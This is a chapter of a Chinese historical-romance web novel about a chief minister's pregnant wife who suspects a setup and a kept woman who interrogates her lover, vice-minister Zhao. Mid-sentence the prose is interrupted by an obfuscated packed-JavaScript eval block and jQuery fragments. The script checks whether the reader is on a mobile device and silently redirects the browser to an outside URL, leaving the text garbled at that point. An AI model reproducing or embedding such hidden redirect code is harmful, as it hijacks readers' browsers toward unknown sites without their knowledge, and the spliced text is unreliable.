自那日过后,楼知月一直在府里歇着,没去查那间宅院。
她不是没时间去查,只是不想将精力都耗费在这种没有意义的事上。
当时是她思虑不周,得了个不知从哪来又不知真假的消息,尚且未准备好就去查。
以连淮序的性子,他做事只会滴水不漏,又怎会在外头养了外室,还能被她发现?
现在冷静下来仔细一想,哪哪都是破洞。从她发现连淮序身上那香料,再到连怀鸾说连淮序在外头添置宅院,还有时机“恰好”的帕子字条。
这三件事发生得太凑巧,好似有双手在后面推,故意要她发现,引她去查连淮序。
楼知月后来仔细一想,总觉得哪里不对劲。
怎的她那日去查香料,碰巧就遇见郑夫人捉人?那香还恰巧就是郑夫人用的,赵侍郎拿了这香送给外室。
常人很容易将香与那外室联想起来,去查那外室。
楼知月当时便是这么做的,否则也不会蹚郑夫人这趟浑水。
她抿着热茶,坐在窗台边,扬眸往外看。
天越发的冷,庭院内几棵树叶子稀稀落落,树杈光秃秃的,风一吹,仅存的树叶凋落。
“又是一年要过去了。”
楼知月难得清闲,数了数日子,再有不到三月便要过年,那时璟宸就能从军营里回来,一家人团聚,过个热闹的年。
想到这,她不由得轻轻碰了碰自己小腹,穿的衣裳厚,看不出她有了身孕。
不出意外,这个孩子到春尽夏临之时,就会降临于世,一儿一女,圆满了。
外头风又大了些,吹得枝叶飒飒作响。
闻风怕她着凉,把窗户关小了些,扶着她去里面坐着。
“夫人总坐在风口,是又想生病看大夫?”她语气嗔怪,见楼知月对着自己笑,哼了一声,小声道:“夫人也该好好照顾自己,怎的总是叫别人提醒。”
楼知月知道闻风是关心自己,刀子嘴豆腐心,和她很像。
她没反驳,去了里间坐好,问她:“寿宴的事,老夫人可有提什么建议?”
说起寿宴,闻风拉了脸,哼了一声,道:“老夫人想大办特办,让整个京城的人都知道,都来贺她的寿。”
连家原先是乡镇里的人家,早些年没这么富裕,家里能吃饱,再多的也拿不出来。
后来连淮序一路从七品官走到首辅之位,一家子跟着迁到京城。虽说人是富裕了,可骨子里那市井之气还在,与出身贵族世家的不能比。
老夫人吃了大半辈子苦,现在能享福了,当然得使劲显摆。
这两日楼知月休养身体,没去老夫人那请安,事情都是闻风代为传达。
闻风是不会传错话的,相处十几年,楼知月多少也了解老夫人的性子,六十大寿时,连淮序还未当上首辅,家里当时还不算多富裕,寿宴规模比较小。
现在她儿子成了首辅,自己活到七十岁,当然得大肆操办。
养儿享福养儿享福,如今终于能享福,怎么会放过这次机会。人都七十了,没几年能活,当然得趁还活着,好好享福。
楼知月是打算按既有规格办,规模太大太奢华,难免会引起不必要的麻烦。
“先按我安排的去办。”
闻风应下,又问道:“夫人身子可有不适?”
自从知晓楼知月有孕后,她比以往紧张了许多,不是怕楼知月哪里磕着碰着,就是怕饮食里有伤害身体的东西,日日小心,楼知月笑她太过紧张。
闻风却说:“奴婢若是不紧张夫人,还有人会紧张。”
楼知月沉默了,在这住着百来号人的连府里,能有几个会紧张她的?
闻风扶着楼知月进了里间,贴心地将窗户都合上些,只露个小缝通风。
“奴婢先去叫嬷嬷们去办,夫人你好好休息吧。”
楼知月视线追随着闻风离开的身影望向收拢的窗户,隐约还能听到呼啸风声。
该要下雨了。
黑云压下来,还有两个时辰才到酉时,现在就已经天黑了。
殿前数名身着官袍的官员走出来,人群中那道绯色官袍身影分外显眼。
身侧几位大臣正议论着什么,时不时询问他的意见。
走下台阶,连淮序向几位大臣拱手作揖,先一步离开。
右侧有人脚步匆匆,含糊应了几声问候,直朝宫门而去。
大臣们一见赵侍郎步履如此匆忙,戏道:“赵侍郎走得这么急,家里是有美娇娘等着,要入那温柔乡。”
连淮序视线精准落到赵侍郎身上,眸光幽深。
刚出宫门,便见赵侍郎的马车掉头驶走,他只瞥了一眼,马车行驶的方向是朱雀街。
朱雀街的方向很好辨认,那条街修建了一座朱雀神鸟像,一仰头便可见到朱雀神鸟仰起的脑袋。
马车匆匆行驶入一条小巷,车轱辘滚动的声音停歇,片刻后再起,赵侍郎的马车行驶出小巷,片刻后又一辆马车从入口行驶出来,掉头往与朱雀街方向截然相反的玄武街而去。
要想去京郊,玄武街是必经之路。
马车一路行驶到一座宅院后门,马车上下来一黑衣男人,左右张望,见没人才推开后门。
穿过后院,进了屋子,眼睛一瞥,冲着床榻上躺着的女子走过去,猴急似的从女子身后抱住她。
“宝贝儿,给我亲一个。”
布满胡茬的嘴还没亲到,女子轻盈地从他怀里钻出去,坐起身,足尖一点,鞋履套在脚尖,慢悠悠晃着。
赵侍郎扑上去,女子身子一转,站起身,趿着鞋走了几步,躲开赵侍郎。
她拢好被赵侍郎扯下来的衣裳,斜眼瞧着扑在床榻上嗅闻的男人,语气藏了几分不悦:“我今日没让赵大人来,赵大人不该来。”
赵侍郎深深吸了一口被褥上残留的女子香,痴迷不已。
“上次来不是没来得及碰你,我今儿没什么事,便想来看看你。”赵侍郎站起身,色眯眯望着女子,搓了搓手,嘿嘿一声笑:“今儿个,你再让我快活快活?”
女子乜了他一眼,妖娆身姿在赵侍郎的注视下,走到床榻上坐下,翘起二郎腿,足尖晃动,白皙的脚踝在裙摆下若隐若现。
赵侍郎看红了眼,一步跨过去跪下,脱了她的鞋,双手捧着女子玉足,脸凑过去深嗅。
那模样,看着犹如吃了什么药上瘾了一般。
女子挣了挣,没挣得开,眼露厌恶,一脚踹他脸上。
赵侍郎一屁股砸地上,也不觉得疼,还想被踹。
女子翘了翘脚,让他给自己穿好鞋,问他:“那天谁来来抓你的?”
赵侍郎一股脑地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274864|198189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全说了:“是我家里那个妒妇,她早就偷摸着监视我。谁家妻子像她这样心肠小,眼里容不得一粒沙子。她不仅自己来,还叫人一起来,真是没见过她这样的妻子。早知她是这样的人,我当初就不会娶她。”
他刚说完,女子立刻问他:“还有谁一起来?”
“首辅的夫人,”赵侍郎一说,脸上露出嘲讽的笑。“她当我看出来她在撒谎呢,没事做还拉着首辅夫人逛街?这么巧来我与你相会的地,要不是你想得周到,我怕是要被她发现了。”
赵侍郎说完,站起来就要扑到女子身上,女子抬手按住他胸膛,不让他靠近。
“你说的首辅,是不是连淮序?”
赵侍郎点头,“就是他,都是首辅了,还管不好自己的妻子,管别人的家事。”
女子嘴角扬起讥笑,没理赵侍郎的话,又问他:“你来的时候,有没有人跟着?”
赵侍郎摇头,打包票道:“这次我特地中途换了马车,还换了衣裳,没人跟着。”
他急急说完,就想去亲人,谁知依旧被推开。
他一拍床榻,刚要发脾气,就见着女子站在自己面前,朝自己笑,一看到那笑,他立刻酥了骨头,痴迷地望着,哪里还有脾气。
“那日,你被人跟踪,我让你先回去,是不是救了你一次?”
赵侍郎连连点头。
“今儿个我没叫你来,你本不该来这,快些回去,免得被人看见。”
赵侍郎愣了,“可上次不是没做得成——”
女子打断他的话:“那不是我的问题,你该想想你,给你机会你抓不住。我这可不是那些个勾栏瓦舍,不接嫖、客。”
赵侍郎登时愣住,刚要反驳,女子别过身去,只给他看个后背。
“别呀,邵娘,我这,我这不是……”
他话还没说完,女子声音冰冷,完全没有前些日子相约时的温婉,“你若是还想日后快活,就按我说的做,否则,你以后就不要想着再见到我。”
“要不是你不小心些,能被人跟上?当初我若仔细些,你就要被发现了。”
赵侍郎还想着天天宿在温柔乡里呢,哪里敢不听她的话。
“你别生气,别生气。”赵侍郎小心翼翼碰了碰女子的肩膀,哪有一点在郑夫人面前耀武扬威的样子。
“我回去,我回去还不成吗?”
女子这才笑了出来,“听话,都是为了你好。”
赵侍郎被她这笑迷得神魂颠倒,哪里还分辨得出是真的为自己好,还是存的别的心思,连连哎了几声,但没有走。
女子瞪了他一眼,“还待在这干什么?”
赵侍郎搓了搓手,试探问道:“那下次,下次我什么时候——”
“这几日先避避风头,等什么时候安全了,我再派人给你递消息。”
赵侍郎得到回答,这才满意,一步三回头、恋恋不舍地走了。
马车离开,小厮进来汇报赵侍郎已经离开。
女子站起身,走到梳妆台前,看着镜子里面容姣好的自己,她的视线仔仔细细看着脸上每一处,直至没有看见一丁点皱纹,才舒了口气。
“首辅夫人?”
她哼了一声,“还以为是个什么厉害的角色,这么沉不住气。”
镜中女子眼珠子一转,勾起算计的笑来。